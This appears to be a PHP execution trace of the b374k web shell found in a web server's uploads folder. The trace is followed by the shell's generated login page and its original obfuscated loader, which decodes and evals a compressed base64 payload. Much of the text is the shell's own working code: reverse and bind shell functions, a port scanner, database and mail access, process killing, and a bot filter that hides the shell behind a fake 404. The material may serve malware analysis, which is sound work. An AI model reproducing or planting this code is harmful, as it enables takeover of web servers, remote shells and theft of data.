submit\')){send_post({dbType:dbType,dbHost:dbHost,dbUser:dbUser,dbPass:dbPass,dbPort:dbPort,dbQuery:dbQuery},function(res){if(res!=\'error\'){$(\'#dbResult\').html(res);$(\'.tblResult\').each(function(){sorttable.k(this)})}})}}function db_query_tbl(type,db,table,start,limit){dbType=$(\'#dbType\').val();dbHost=$(\'#dbHost\').val();dbUser=$(\'#dbUser\').val();dbPass=$(\'#dbPass\').val();dbPort=$(\'#dbPort\').val();send_post({dbType:dbType,dbHost:dbHost,dbUser:dbUser,dbPass:dbPass,dbPort:dbPort,dbQuery:\'\',dbDB:db,dbTable:table,dbStart:start,dbLimit:limit},function(res){if(res!=\'error\'){$(\'#dbResult\').html(res);$(\'.tblResult\').each(function(){sorttable.k(this)})}})}function db_pagination(type){db=$(\'#dbDB\').val();table=$(\'#dbTable\').val();start=parseInt($(\'#dbStart\').val());limit=parseInt($(\'#dbLimit\').val());dbType=$(\'#dbType\').val();if(type==\'next\'){start=start+limit}else if(type==\'prev\'){start=start-limit;if(start<0)start=0}db_query_tbl(dbType,db,table,start,limit)}Zepto(function($){info_init()});function info_init(){if((infoResult=localStorage.getItem(\'infoResult\'))){$(\'.infoResult\').html(infoResult)}else{info_refresh()}}function info_toggle(id){$(\'#\'+id).toggle()}function info_refresh(){send_post({infoRefresh:\'infoRefresh\'},function(res){$(\'.infoResult\').html(res);localStorage.setItem(\'infoResult\',res)})}Zepto(function($){});function mail_send(){mailFrom=$.trim($(\'#mailFrom\').val());mailTo=$.trim($(\'#mailTo\').val());mailSubject=$.trim($(\'#mailSubject\').val());mailContent=$(\'#mailContent\').val();mailAttachment=\'\';if($(\'.mailAttachment\')){mailAttachment=$(\'.mailAttachment\').map(function(){return this.value}).get().join(\'{[|b374k|]}\')}send_post({mailFrom:mailFrom,mailTo:mailTo,mailSubject:mailSubject,mailContent:mailContent,mailAttachment:mailAttachment},function(res){$(\'#mailResult\').html(res)})}function mail_attach(){content="<tr><td>Local file <a onclick=\\"$(this).parent().parent().remove();\\">(-)</a></td><td colspan=\'2\'><input type=\'text\' class=\'mailAttachment\' value=\'\'></td></tr>";$(\'#mailTBody\').append(content)}Zepto(function($){rs_init()});function rs_init(){if(evalReady&&(evalSupported!=null)&&(evalSupported!=\'\')){splits=evalSupported.split(",");$.each(splits,function(i,k){$(\'.rsType\').append("<option>"+k+"</option>")})}else setTimeout(\'rs_init()\',1000);$(\'#packetContent\').on(\'keydown\',function(e){if(e.ctrlKey&&(e.keyCode==10||e.keyCode==13)){packet_go()}fix_tabchar(this,e)})}function rs_go_bind(){rs_go(\'bind\')}function rs_go_back(){rs_go(\'back\')}function rs_go(rsType){rsArgs="";if(rsType==\'bind\'){rsPort=parseInt($(\'#bindPort\').val());rsLang=$(\'#bindLang\').val();rsArgs=rsPort;rsResult=$(\'#bindResult\')}else if(rsType==\'back\'){rsAddr=$(\'#backAddr\').val();rsPort=parseInt($(\'#backPort\').val());rsLang=$(\'#backLang\').val();rsArgs=rsPort+\' \'+rsAddr;rsResult=$(\'#backResult\')}if((isNaN(rsPort))||(rsPort<=0)||(rsPort>65535)){rsResult.html(\'Invalid port\');return}if(rsArgs!=\'\'){send_post({rsLang:rsLang,rsArgs:rsArgs},function(res){if(res!=\'error\'){splits=res.split(\'{[|b374k|]}\');if(splits.length==2){output=splits[0]+"<hr>"+splits[1];rsResult.html(output)}else{rsResult.html(res)}}})}}function packet_go(){packetHost=$(\'#packetHost\').val();packetStartPort=parseInt($(\'#packetStartPort\').val());packetEndPort=parseInt($(\'#packetEndPort\').val());packetTimeout=parseInt($(\'#packetTimeout\').val());packetSTimeout=parseInt($(\'#packetSTimeout\').val());packetContent=$(\'#packetContent\').val();packetResult=$(\'#packetResult\');packetStatus=$(\'#packetStatus\');if((isNaN(packetStartPort))||(packetStartPort<=0)||(packetStartPort>65535)){packetResult.html(\'Invalid start port\');return}if((isNaN(packetEndPort))||(packetEndPort<=0)||(packetEndPort>65535)){packetResult.html(\'Invalid end port\');return}if((isNaN(packetTimeout))||(packetTimeout<=0)){packetResult.html(\'Invalid connection timeout\');return}if((isNaN(packetSTimeout))||(packetSTimeout<=0)){packetResult.html(\'Invalid stream timeout\');return}if(packetStartPort>packetEndPort){start=packetEndPort;end=packetStartPort}else{start=packetStartPort;end=packetEndPort}packetResult.html(\'\');while(start<=end){packetPort=start++;packetResult.append("<hr><div><p class=\'boxtitle\'>Host : "+html_safe(packetHost)+":"+packetPort+"</p><br><div id=\'packet"+packetPort+"\' style=\'padding:2px 4px;\'>Working... please wait...</div></div>");packet_send(packetHost,packetPort,packetEndPort,packetTimeout,packetSTimeout,packetContent)}}function packet_send(packetHost,packetPort,packetEndPort,packetTimeout,packetSTimeout,packetContent){send_post({packetHost:packetHost,packetPort:packetPort,packetEndPort:packetEndPort,packetTimeout:packetTimeout,packetSTimeout:packetSTimeout,packetContent:packetContent},function(res){$(\'#packet\'+packetPort).html(res)},false)}Zepto(function($){show_processes()});function show_processes(){send_post({showProcesses:\'\'},function(res){if(res!=\'error\'){$(\'#processes\').html(res);sorttable.k($(\'#psTable\').get(0));ps_bind()}})}function ps_bind(){$(\'.kill\').off(\'click\');$(\'.kill\').on(\'click\',function(e){kill_pid(ps_get_pid($(this)))});cbox_bind(\'psTable\',\'ps_update_status\')}function ps_get_pid(el){return el.parent().parent().attr(\'data-pid\')}function ps_update_status(){totalSelected=$(\'#psTable\').find(\'.cBoxSelected\').not(\'.cBoxAll\').length;if(totalSelected==0)$(\'.psSelected\').html(\'\');else $(\'.psSelected\').html(\' ( \'+totalSelected+\' item(s) selected )\')}function kill_selected(){buffer=get_all_cbox_selected(\'psTable\',\'ps_get_pid\');allPid=\'\';$.each(buffer,function(i,v){allPid+=v+\' \'});allPid=$.trim(allPid);kill_pid(allPid)}function kill_pid(allPid){title=\'Kill\';content="<table class=\'boxtbl\'><tr><td colspan=\'2\'><textarea class=\'allPid\' style=\'height:120px;min-height:120px;\' disabled>"+allPid+"</textarea></td></tr><tr><td colspan=\'2\'><span class=\'button\' onclick=\\"kill_pid_go();\\">kill</span></td></tr></table>";show_box(title,content)}function kill_pid_go(){allPid=$(\'.allPid\').val();if($.trim(allPid)!=\'\'){send_post({allPid:allPid},function(res){if(res!=\'error\'){$(\'.boxresult\').html(res+\' process(es) killed\')}else $(\'.boxresult\').html(\'Unable to kill process(es)\');show_processes()})}}<?php\nforeach($GLOBALS[\'module_to_load\'] as $k){\necho "function ".$GLOBALS[\'module\'][$k][\'id\']."(){ ".$GLOBALS[\'module\'][$k][\'js_ontabselected\']." }\\n";}?>\n</script>\n<!--script end-->\n</body>\n</html><?php die();?>'	/var/www/html/uploads/b374k.php(4) : runtime-created function	1	0
3		A						/var/www/html/uploads/b374k.php(4) : runtime-created function(1) : eval()'d code	1	GLOBALS['module_to_load'] = [0 => 'explorer', 1 => 'terminal', 2 => 'eval', 3 => 'convert', 4 => 'database', 5 => 'info', 6 => 'mail', 7 => 'network', 8 => 'processes']
3		A						/var/www/html/uploads/b374k.php(4) : runtime-created function(1) : eval()'d code	2	GLOBALS['resources']['b374k'] = 'hVXZrrM4En6gjARhC8yoL9hXQ9gDd2xhJ5yw8/Tj/Oef7tPSSG3JwjZVXy1flZ0nc/Lvuk/KAhmH8j9pMhUU8a864CxnQ3W5fLFwmK5fiX4JV9xny9o8G32+Txphqs9CfjhSqDheisVojklHbHNcLDN17HJaGkpDHGhdFDpklnXd/aNwaGMgVWgoXoHVm2vqktW3PEmkD/Z7CBtSKFwVYXOX81wdh/mYNmh9uy2IWnNjLKB1cAYmEK+bjQWvxK+orA+8oiX9CB/f0dm1akNfVGEnrKGaM/na5bJYFvJ1SgdAFVAf+rRGvU999mkYoJFL16pSUlBmy+WJUVupTTGtU6XK9HlOSHG4FvwFHNcGCOKuChFmNCJqehEG3K0EDbuDmt4+06zR3RReV7N5HebBlir/ezZEeVe0Nm5G1xGjP/3Jeqe/u9orV5zNquk1x3PcGLLT6JkjPujd8lrSONnDONXDeED9+noWIYlGj3KG+s0PXDF+mE3WdzCGbk1r7ojl'
3		A						/var/www/html/uploads/b374k.php(4) : runtime-created function(1) : eval()'d code	3	GLOBALS['resources']['mime'] = 'dZThdqMgEIX/7zn7DvMC2jZ62t3HmQgaGkepCDFvvxeNis32xx3huwMYmUkwSvcvRWMtIfz+Fbb5CeC0gsvp/Y1iSEARQZGAMoJyBZ9WN/Rpm7ADoUWNrEw+T7TIbmeJLemhgNCUu4EdH2EekLwh47Sd0DcN9fuBX95U19GIpq+RpN946FSudKXziyIfLlC4PHnSn02r4Un05cm3ca2Nnn3yXPRc9NyTN0+jFXV8pXDO63gmBimvw0hQiuJH8ENLMnmS0h8sl9mW74Nmdc9FK8O5vQeC0iyc7fP4kX3w8UUOWwQTekJY2U2fhWJYwZTVuBooAa0hKAXIaJMMibeZLhEeh95dmeQK51ooBJfYHe64axLgMnY1LZoOPPRngg7shneWbyQAhW9sAjvudgtg4cCWW+OQ/EDXmAxFZTTNMTFwjIvHsFemf2FlKyHEFZzZmYrYk+vUysQoQwg0D6480CBmM5dm4H2+tAC+HLoUioMCjYBnsWUtzcAUn85OK3aF'
3		A						/var/www/html/uploads/b374k.php(4) : runtime-created function(1) : eval()'d code	4	GLOBALS['resources']['arrow'] = 'FZXHDqtYDIYfKCPRS2Z0F4cSem+BHfVQA6HD00+uF/Zny2XzSy7SNf23GVJYItMH/pelS0mT/zQhZ7kHqklwBD8zvaAWA/gj/m8KIA/iX+Du8jOjfwv8m1Oit/Gjxfs5XYSyR7wZ9sdiLPaiE7rxwYZvDz3z0G0fN9Pt1PqiDLuyRgzA7sVpo2NvL3Cdy6p1eSS3Um21eZqfW2uc6Xc9STYjG0E8zybZ3lxYrGLgmij6FTgD+oE1fHzRyB9IXpIFlT+6J8XARNRivqAELyNW694fBYKgdQ54i2RquOgoIwOqEpRK6G66qk4HjFCAWX9NRp5cU6hMsdvSQhiGCXr7Hmfyl/TaR9KwjDxldWNp9wx7zux2sY0uWUABDxUQWhoG2Dt8WlOYIuH8fjpej0l0Ag3k01AHYyLNNo7exzAS7jczTk5oogzNlETVL5g2TcLYQI7n5y+9dRXzgN4z19fKr4mPCsLm+Z4fhc9nFab7ORjMJSOarH0XxJM8bMHBKhEN'
3		A						/var/www/html/uploads/b374k.php(4) : runtime-created function(1) : eval()'d code	6	GLOBALS['ver'] = '3.2.3'
3		A						/var/www/html/uploads/b374k.php(4) : runtime-created function(1) : eval()'d code	7	GLOBALS['title'] = 'b374k'
4	11	0	0.015819	1480984	ob_start	0		/var/www/html/uploads/b374k.php(4) : runtime-created function(1) : eval()'d code	7	0
4	11	1	0.015837	1497496
4	11	R			TRUE
4	12	0	0.015852	1497496	error_reporting	0		/var/www/html/uploads/b374k.php(4) : runtime-created function(1) : eval()'d code	8	1	15
4	12	1	0.015868	1497568
4	12	R			0
4	13	0	0.015882	1497528	ini_set	0		/var/www/html/uploads/b374k.php(4) : runtime-created function(1) : eval()'d code	9	2	'html_errors'	'0'
4	13	1	0.015899	1497600
4	13	R			'1'
4	14	0	0.015913	1497528	ini_set	0		/var/www/html/uploads/b374k.php(4) : runtime-created function(1) : eval()'d code	10	2	'display_errors'	'1'
4	14	1	0.015929	1497600
4	14	R			''
4	15	0	0.015942	1497528	ini_set	0		/var/www/html/uploads/b374k.php(4) : runtime-created function(1) : eval()'d code	11	2	'display_startup_errors'	'1'
4	15	1	0.015957	1497600
4	15	R			''
4	16	0	0.015970	1497528	ini_set	0		/var/www/html/uploads/b374k.php(4) : runtime-created function(1) : eval()'d code	12	2	'log_errors'	'0'
4	16	1	0.015985	1497600
4	16	R			'1'
4	17	0	0.015998	1497528	set_time_limit	0		/var/www/html/uploads/b374k.php(4) : runtime-created function(1) : eval()'d code	13	1	0
4	17	1	0.016016	1497592
4	17	R			FALSE
4	18	0	0.016030	1497560	clearstatcache	0		/var/www/html/uploads/b374k.php(4) : runtime-created function(1) : eval()'d code	14	0
4	18	1	0.016045	1497560
4	18	R			NULL
4	19	0	0.016057	1497560	function_exists	0		/var/www/html/uploads/b374k.php(4) : runtime-created function(1) : eval()'d code	14	1	'auth'
4	19	1	0.016073	1497600
4	19	R			FALSE
4	20	0	0.016091	1497560	function_exists	0		/var/www/html/uploads/b374k.php(4) : runtime-created function(1) : eval()'d code	15	1	'get_server_info'
4	20	1	0.016107	1497600
4	20	R			FALSE
4	21	0	0.016120	1497560	function_exists	0		/var/www/html/uploads/b374k.php(4) : runtime-created function(1) : eval()'d code	16	1	'get_self'
4	21	1	0.016134	1497600
4	21	R			FALSE
4	22	0	0.016147	1497560	function_exists	0		/var/www/html/uploads/b374k.php(4) : runtime-created function(1) : eval()'d code	17	1	'get_post'
4	22	1	0.016162	1497600
4	22	R			FALSE
4	23	0	0.016175	1497560	function_exists	0		/var/www/html/uploads/b374k.php(4) : runtime-created function(1) : eval()'d code	18	1	'get_nav'
4	23	1	0.016190	1497600
4	23	R			FALSE
4	24	0	0.016203	1497560	function_exists	0		/var/www/html/uploads/b374k.php(4) : runtime-created function(1) : eval()'d code	19	1	'get_cwd'
4	24	1	0.016217	1497600
4	24	R			FALSE
4	25	0	0.016230	1497560	function_exists	0		/var/www/html/uploads/b374k.php(4) : runtime-created function(1) : eval()'d code	20	1	'wrap_with_quotes'
4	25	1	0.016245	1497600
4	25	R			FALSE
4	26	0	0.016258	1497560	function_exists	0		/var/www/html/uploads/b374k.php(4) : runtime-created function(1) : eval()'d code	21	1	'get_resource'
4	26	1	0.016272	1497600
4	26	R			FALSE
4	27	0	0.016285	1497560	function_exists	0		/var/www/html/uploads/b374k.php(4) : runtime-created function(1) : eval()'d code	22	1	'block_bot'
4	27	1	0.016300	1497600
4	27	R			FALSE
4	28	0	0.016312	1497560	function_exists	0		/var/www/html/uploads/b374k.php(4) : runtime-created function(1) : eval()'d code	23	1	'is_win'
4	28	1	0.016327	1497600
4	28	R			FALSE
4	29	0	0.016340	1497560	function_exists	0		/var/www/html/uploads/b374k.php(4) : runtime-created function(1) : eval()'d code	24	1	'fix_magic_quote'
4	29	1	0.016354	1497600
4	29	R			FALSE
4	30	0	0.016367	1497560	function_exists	0		/var/www/html/uploads/b374k.php(4) : runtime-created function(1) : eval()'d code	25	1	'execute'
4	30	1	0.016381	1497600
4	30	R			FALSE
4	31	0	0.016394	1497560	function_exists	0		/var/www/html/uploads/b374k.php(4) : runtime-created function(1) : eval()'d code	26	1	'html_safe'
4	31	1	0.016408	1497600
4	31	R			FALSE
4	32	0	0.016421	1497560	function_exists	0		/var/www/html/uploads/b374k.php(4) : runtime-created function(1) : eval()'d code	27	1	'parse_dir'
4	32	1	0.016435	1497600
4	32	R			FALSE
4	33	0	0.016448	1497560	function_exists	0		/var/www/html/uploads/b374k.php(4) : runtime-created function(1) : eval()'d code	28	1	'zip'
4	33	1	0.016462	1497600
4	33	R			FALSE
4	34	0	0.016475	1497560	function_exists	0		/var/www/html/uploads/b374k.php(4) : runtime-created function(1) : eval()'d code	29	1	'compress'
4	34	1	0.016490	1497600
4	34	R			FALSE
4	35	0	0.016502	1497560	function_exists	0		/var/www/html/uploads/b374k.php(4) : runtime-created function(1) : eval()'d code	30	1	'decompress'
4	35	1	0.016517	1497600
4	35	R			FALSE
4	36	0	0.016529	1497560	function_exists	0		/var/www/html/uploads/b374k.php(4) : runtime-created function(1) : eval()'d code	31	1	'download'
4	36	1	0.016544	1497600
4	36	R			FALSE
4	37	0	0.016556	1497560	function_exists	0		/var/www/html/uploads/b374k.php(4) : runtime-created function(1) : eval()'d code	32	1	'get_fileperms'
4	37	1	0.016571	1497600
4	37	R			FALSE
4	38	0	0.016583	1497560	function_exists	0		/var/www/html/uploads/b374k.php(4) : runtime-created function(1) : eval()'d code	33	1	'format_bit'
4	38	1	0.016597	1497600
4	38	R			FALSE
4	39	0	0.016610	1497560	function_exists	0		/var/www/html/uploads/b374k.php(4) : runtime-created function(1) : eval()'d code	34	1	'get_filesize'
4	39	1	0.016625	1497600
4	39	R			FALSE
4	40	0	0.016637	1497560	function_exists	0		/var/www/html/uploads/b374k.php(4) : runtime-created function(1) : eval()'d code	35	1	'get_filemtime'
4	40	1	0.016652	1497600
4	40	R			FALSE
4	41	0	0.016665	1497560	function_exists	0		/var/www/html/uploads/b374k.php(4) : runtime-created function(1) : eval()'d code	36	1	'get_fileowner'
4	41	1	0.016679	1497600
4	41	R			FALSE
4	42	0	0.016692	1497560	function_exists	0		/var/www/html/uploads/b374k.php(4) : runtime-created function(1) : eval()'d code	37	1	'rmdirs'
4	42	1	0.016706	1497600
4	42	R			FALSE
4	43	0	0.016722	1497560	function_exists	0		/var/www/html/uploads/b374k.php(4) : runtime-created function(1) : eval()'d code	38	1	'copys'
4	43	1	0.016737	1497600
4	43	R			FALSE
4	44	0	0.016749	1497560	function_exists	0		/var/www/html/uploads/b374k.php(4) : runtime-created function(1) : eval()'d code	39	1	'get_all_files'
4	44	1	0.016764	1497600
4	44	R			FALSE
4	45	0	0.016777	1497560	function_exists	0		/var/www/html/uploads/b374k.php(4) : runtime-created function(1) : eval()'d code	40	1	'read_file'
4	45	1	0.016801	1497600
4	45	R			FALSE
4	46	0	0.016814	1497560	function_exists	0		/var/www/html/uploads/b374k.php(4) : runtime-created function(1) : eval()'d code	41	1	'write_file'
4	46	1	0.016828	1497600
4	46	R			FALSE
4	47	0	0.016841	1497560	function_exists	0		/var/www/html/uploads/b374k.php(4) : runtime-created function(1) : eval()'d code	42	1	'view_file'
4	47	1	0.016855	1497600
4	47	R			FALSE
4	48	0	0.016879	1497560	function_exists	0		/var/www/html/uploads/b374k.php(4) : runtime-created function(1) : eval()'d code	43	1	'get_writabledir'
4	48	1	0.016895	1497600
4	48	R			FALSE
4	49	0	0.016908	1497560	function_exists	0		/var/www/html/uploads/b374k.php(4) : runtime-created function(1) : eval()'d code	44	1	'get_drives'
4	49	1	0.016922	1497600
4	49	R			FALSE
4	50	0	0.016935	1497560	function_exists	0		/var/www/html/uploads/b374k.php(4) : runtime-created function(1) : eval()'d code	45	1	'show_all_files'
4	50	1	0.016949	1497600
4	50	R			FALSE
4	51	0	0.016962	1497560	function_exists	0		/var/www/html/uploads/b374k.php(4) : runtime-created function(1) : eval()'d code	46	1	'eval_get_supported'
4	51	1	0.016977	1497600
4	51	R			FALSE
4	52	0	0.016990	1497560	function_exists	0		/var/www/html/uploads/b374k.php(4) : runtime-created function(1) : eval()'d code	47	1	'eval_go'
4	52	1	0.017004	1497600
4	52	R			FALSE
4	53	0	0.017017	1497560	function_exists	0		/var/www/html/uploads/b374k.php(4) : runtime-created function(1) : eval()'d code	48	1	'output'
4	53	1	0.017032	1497600
4	53	R			FALSE
4	54	0	0.017044	1497560	function_exists	0		/var/www/html/uploads/b374k.php(4) : runtime-created function(1) : eval()'d code	49	1	'is_git_repo'
4	54	1	0.017058	1497600
4	54	R			FALSE
4	55	0	0.017071	1497560	function_exists	0		/var/www/html/uploads/b374k.php(4) : runtime-created function(1) : eval()'d code	50	1	'find_git_repo'
4	55	1	0.017085	1497600
4	55	R			FALSE
4	56	0	0.017099	1497560	block_bot	1		/var/www/html/uploads/b374k.php(4) : runtime-created function(1) : eval()'d code	51	0
5	57	0	0.017114	1497560	preg_match	0		/var/www/html/uploads/b374k.php(4) : runtime-created function(1) : eval()'d code	22	2	'/bot|spider|crawler|slurp|teoma|archive|track|snoopy|java|lwp|wget|curl|client|python|libwww/i'	'python-requests/2.25.1'
5	57	1	0.017135	1497624
5	57	R			1
5	58	0	0.017148	1497560	header	0		/var/www/html/uploads/b374k.php(4) : runtime-created function(1) : eval()'d code	22	1	'HTTP/1.0 404 Not Found'
5	58	1	0.017165	1497616
5	58	R			NULL
5	59	0	0.017178	1497584	header	0		/var/www/html/uploads/b374k.php(4) : runtime-created function(1) : eval()'d code	22	1	'Status: 404 Not Found'
5	59	1	0.017196	1497680
5	59	R			NULL
			0.017245	1401904
TRACE END   [2023-02-13 02:27:16.500092]


Generated HTML code

<html><head> <meta charset="utf-8"> <meta name="robots" content="noindex, nofollow, noarchive"> <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no, user-scalable=0"> </head> <body style="background:#f8f8f8;color:#000000;padding:0;margin:0;"><br><p></p><center><noscript>You need to enable javascript</noscript></center><p></p> <script type="text/javascript"> var d = document; d.write("<br><br><form method='post'><center><input type='password' id='pass' name='pass' style='font-size:34px;width:34%;outline:none;text-align:center;background:#ffffff;padding:8px;border:1px solid #cccccc;border-radius:8px;color:#000000;'></center></form>"); d.getElementById('pass').focus(); d.getElementById('pass').setAttribute('autocomplete', 'off'); </script><br><br><form method="post"><center><input type="password" id="pass" name="pass" style="font-size:34px;width:34%;outline:none;text-align:center;background:#ffffff;padding:8px;border:1px solid #cccccc;border-radius:8px;color:#000000;" autocomplete="off"></center></form>  </body></html>

Original PHP code

<?php
error_reporting(0);
$GLOBALS['pass'] = "d19d233ea02f532172b201d2c0511fdbc416ee6f";
$a="cr"."eat"."e_fun"."cti"."on";$b=$a('$x','ev'.'al'.'("?>".gz'.'un'.'com'.'pre'.'ss(ba'.'se'.'64'.'_de'.'co'.'de($x)));');$b("eNrs/Wm74jiyKAp/r19Br5O311qbzLTBgO3Kyuw2YDPPxgxddfPxbIMnPGK6+r9fyTZghjVkVe39nveeW/10LiyFQiEpFIoISaFf/uFoTuFDqz+qU/3Zvx5NWwoM+btvfzdsXnr8rfC1wLsuHz89yHvHsF3ZffhYePBl19Qt3oC/5TD9K9pWKLs+/CnxPi/wngx/65Ziw78mrydgluxHtruFPx3XFmXPk72H5y//+PYLpOSnMyWu7NmBCwAef/vXo4DhlW1CzYPGLdeuO6jQVk3dUFOtQcR2n9SWE1JtSuW91q3GEYGwG2QkK7g/ns1aWDfarLllXFKMNWqJSD8MtkiP0sw2sSGdgTafEzxRqzT21gRbVJU+E5m9qqIvK12O3FsxaRMtrFxk946288iGstFmu6Ym6x5nb7ZGW2gPxX5zWMLbXb61dZrtliYxTWdrWEsJ4YcR3xqo3EK1l3abM8vhbusvsDFtbpvIGm/U/VmPibjVcrQkSpGkIeZqaGpkEJc7C2u46ffqJZFamXSvKGwmi3DfK9ouVSRsfUk26oiCSmaJ3w4VrkVbbq/FDxCLrwrdFRN2SzNVohiOUorutBXOSZI0tyu7y/RLNWc2N+pmXFx051zgsGzLn9eWPbJtjGbtVoUJIwY0qdUY9YKGxpjDRncna3QL66F0Uwiapl8porXDFJtOZQ4fVtuyUDd0F5EPa1rmZHRoVlulfWszRrCuvJORgLRdrnoY7oJtaY+NxVa/z9a628042EiE4c5GQ6s5Gi6bMt0ki5a96KyM1gbrtYoeOl42maJJYwvp0GgJ25KL2xtD7zgNQUSV4W68qBlEVW23iz5ljQ2fqC5mvYE5KRO7TU/G7HJruWiPdJYVjWIkduayWFsatjVTR6ZqhiWx3qmNJMy194rS7NJkq76s1HuCypWsCrLpr+0VLmigIUNnyfdqkdGmoxkmEPGyyK4CjY+HXdMadRryaDUwWrX+UuSZwbyN+PKanWH0sEMXJ/MyPe+MJK6/GbY7zaHb2JilEEFDRTD4imKu40Fs6ru1VQoiN+rbTNlrHWwEWzC1ollarvpkz+jJ+PCgrHWFrWFRtavTQ5Xjp4eOtkcbUWPWmNcRatvgG7MKpVbXtb7qN/flIUGuvBCz6/sauomkQ7NvVVVJKbZFBJnie/wgdRRlEynONKqOut02NuB0ZdAkjD55ACg1Webjen/bG1JKC3ForKji5X3gR9M6UTLLapMVjLXq2k3sQPrYfjrkBqxPVxuRYrUOTVZtl7wxQrTqgbmJCSmwVGRQPyB2FUP0sVwM21I0Jsf9ZXVntKRiiR8ro7CHYW0ZQWQbaSKVZavRY52ZUKeMGacWl2y1ZPqdUGaI7dgXi4itFT182aPQmBvEYkk89FCzyoj6gfYdbEPObcFGOJ+Rp4uoz/XJhe5a8564NBYkNjtsS7h+aBpjcVmiGUFXPbVkVuoB1scVQjRawhDjxmLPGDSKC77lbYQ+V907fX3LRCurYvWQcTQP9lUPZ2XcGjCbRcDux1GwVIZFZdF0HY7ezmdVel+pEraz0Zripj+cTA5odaZMdV1E4n131TC6XbTFG9GAafSFeU1dVquoTBq9lYV4XWvAxa2Wvoyx4ShynVXYc6WWyaBk6IbBbKnJ47kgH7oE1lzQfUDnzvPVes0clpoMuzOmXaa9Wgb2ZEZwjSre6JE8ukH5dbcf0f5gZ5CaNSg1dvxmOTa8rtl3pW4vluNmg2HKxGF8iJF6JPRwprrk0VqfNiQyDoezqkzL1kY+SNzSPwxbI3liR4viAm1UG05D2rGTssvEZc9qK/Wq3+f31oan2D4WNycRZvk9zFGZcKdjjNwY9/DB0JR5wd2ow2ATMORy2B6xWBy70Yw0bDRYiCxBBAEjos3myrJGNXxd7hzIFYWgtaFh7WtdvOYsBhKGbrjxutVtxmFp16zoNrdv+nPDbhBc+VDxZg2S7XbW1ZBRXHNVpMeN7szGxI3IDJpSvbXgsENjXeyrfBFwr9bVFHzh77ZEY0QEY1VgJLfoUH2ENpbKjuQ7B98uT1a1BRCYvAZGVWYqlQDvICyNlbRJp9yj9V6oibjQ2uyFqDXa8w225/gLd40tB3ywMnfDvs0JlbF2mAvsCJ32JxhLHNiR0sOizbZY46rlFtLXNAf3a9XupsNMB4Nue+PqhiqQXKvXEmYCVUMqjrJscWVS3ZfxapXflZFNMNJboRVg5ep2FzS98VzH6RYSjWqH9obWDI5th0SrookbniUsazceT01NMvjRqmW6HiPaqnrghg4Q4qRSYY1eTVhM7N18ZFlWj3AMT5K9Nb7QTIbzZsF4tC/V206las8d2uDwpabRCLsKFWbZ8w49A/dxdntwDt0RYdQOHXKrlzy7z8eOQAIJiiFiPQb8NubGizESdb4+fHlpwTd1U07Xe2nNatJuoNKdJYIfLLwZDhrlzbpW9rG2OVHBmis7jSYThnt5qHtYeb/HtCAarMz5NpqFYjhdDPyOcigyglBtyA1U9UIHWZX0GU1NJ+sWNbC7cX1NLobI1DFxqmnPF0OXjoosznYEU+72ZVNTh415UKGldpmWt/1Iq+AzCW2KQ1IJ6kuyOi+RrY6zK06dIVmpMbNA6i0PetxR+kajMm5bMwstu5W5hVZFExP58tCysHg5norkMGaHaHHDLDnCWTZHNUw167oZRqg20YNum6CH/YFlzlCN8AzSXOCVoSmJJNMjRtVwAhqjxyKujCvbJRYR8/loEU1YedtdledlRVt0V9Ga5YK6bVM8qvWoZYfvDga6IK/7Gi1rZFUy5UmvWrLteldZteVahd/31YG1KoHFbwT4xFJV3NMseSHEE0pbkB61CQNJ9dWK2FgsiqMJQjeXJrVn1iw7HLBMtOmEbY+RTaXMGL24TTPrw9pcuattMZzH3sSeRCrarFUItFE3B6D6SrsM1u5Gsd2357o9aGxWdctbzP2DSM0tojrqYTxD96dDdukZWntRLMlbYrowoj5FFMu91b6DK+vDku1t5dqYj0Sz1qm3piSFMV1vvKn4PVn2XGxVqtbosrGboGVSqQpAljTALFzIbCnaaMikHPbHtdj37X1xNvZ242mpIyLrJkpimNRb4TNnwKxUg0clzy3PjHFr0w/Nntoyp2pLWCyHnbDjuKq1nvglVY4qtZm/NUdlpTJtOCRVavY2hrWtDcz2XOn3V5K2LfI4WMLEeiOKCFPwKMzZDvflDabtTdXFAoekHXfbjr6+MjeAQm5H6eRg1st2c+evmp2V0muMp7PyGmUq4kw2i/W2wk2oWruJosWAQdZWXF4eZjE+GyplrMV1Vx1/0EYc2ZihJoscJtoa37Z3WyOqN4lDyFMLClE3iEn0OhSiL4vNgNiMNkoUEmZppPsIkHOKV12uZvEUj9akJ+n9Ma/TuLuPVuuwecAOaAsoaeTYL413erMfxFP1QOEe59jlYdjHGlJcc0rybIbNzXJJXu+URTkACppIztjVpoXSxCEW1pixX7mtvmrqmxrDqs2iTZeU9mEa18nO0ukwBlusdYklNR1O9XBH0f14uKiRFaW+6qnSpFrRy9NdMFLtTjTa0c60V2vVarttpb1hGtRiSQ6nTlWc17SBJ4Wziaa3GksXb5tKbCAsPyV70aa5N6TF0CEjoDQF+7K3AuvTnKo39/PJQrNb5aZPLIzRqhO0CWXjyBvUQCkV26Ilqr2K+8Ohjcv7AzXDN+KB3VZtWz0MDZrl+lW1zIr91aSDW9W4SErT5UEdVg4lUum5FXPc8PpmcV1RNJG0GF7AR9PNoDsb8W4bXe67A0IYtOs9jR4eVFemrXplGjFDdS6UIrMWDxiJ9OKpj7pjoL93KzLeLJtSDQjfA0MX6+W+N9zTzjZay33Ln82DeRw02HVLQIXVoK6TY4XFqAbfQ5SVNKeJ1kEO+kuhgy70DnKYsrhnLQYcHi5FtA4spUnYUWar3kb17Y7eA2LflRmuwgMlgyp1p1JvX2oP9Dge2GtroE6W+KLcFSqIH0h8c+p3R3N1vaoyFCM4tLWa6FSdnlfp4jLuBZizm+oHrYbX6mVy5sXb0notrqN+LzJMr6qrojVySlAgzGaTHtkPUcD6Vpssb1yVFjZDVCClUaUy6lXWFbMjlrm9vd+vZecwKi76B7ELbFoiWrWq096uOZSxqDhqTix3fNgWR/HaLh6IbZ9o97DlUBNFvBGTZZFbLbCFx62d2WHd4GjbGRjzwEKWxog5sAuLc3xiplGMufb2XB3zhott2Kfms70Ua4uBKvOluF3ZdLm6gE14ihm7+zkW1rgm3vQYZ9Tg9rNouvZYxotqLb60Y0xuvp9hPkcuNt2ttt2vqQHf7lN4ER12cSkmeWFr7jTHmZI2tep0B6SKjdpss0gUo4m/XQ0aenu2n+wH9GERbrd+b3xQva0iIQxmVhZtlDQoZe6z2qTYpcrOIBSsbg00oB9J/mEZTiv4WkbXKLdtVJmaiMuzvVGzCMQJpM6qZRDkQPcPnTYdLPfcqol1izuftCeVcXfnTTb0SI5kv72m5woxb0xXm3aEh+beltH6xt9XSacyVvyp29wtm9Ml299NSsNWn6N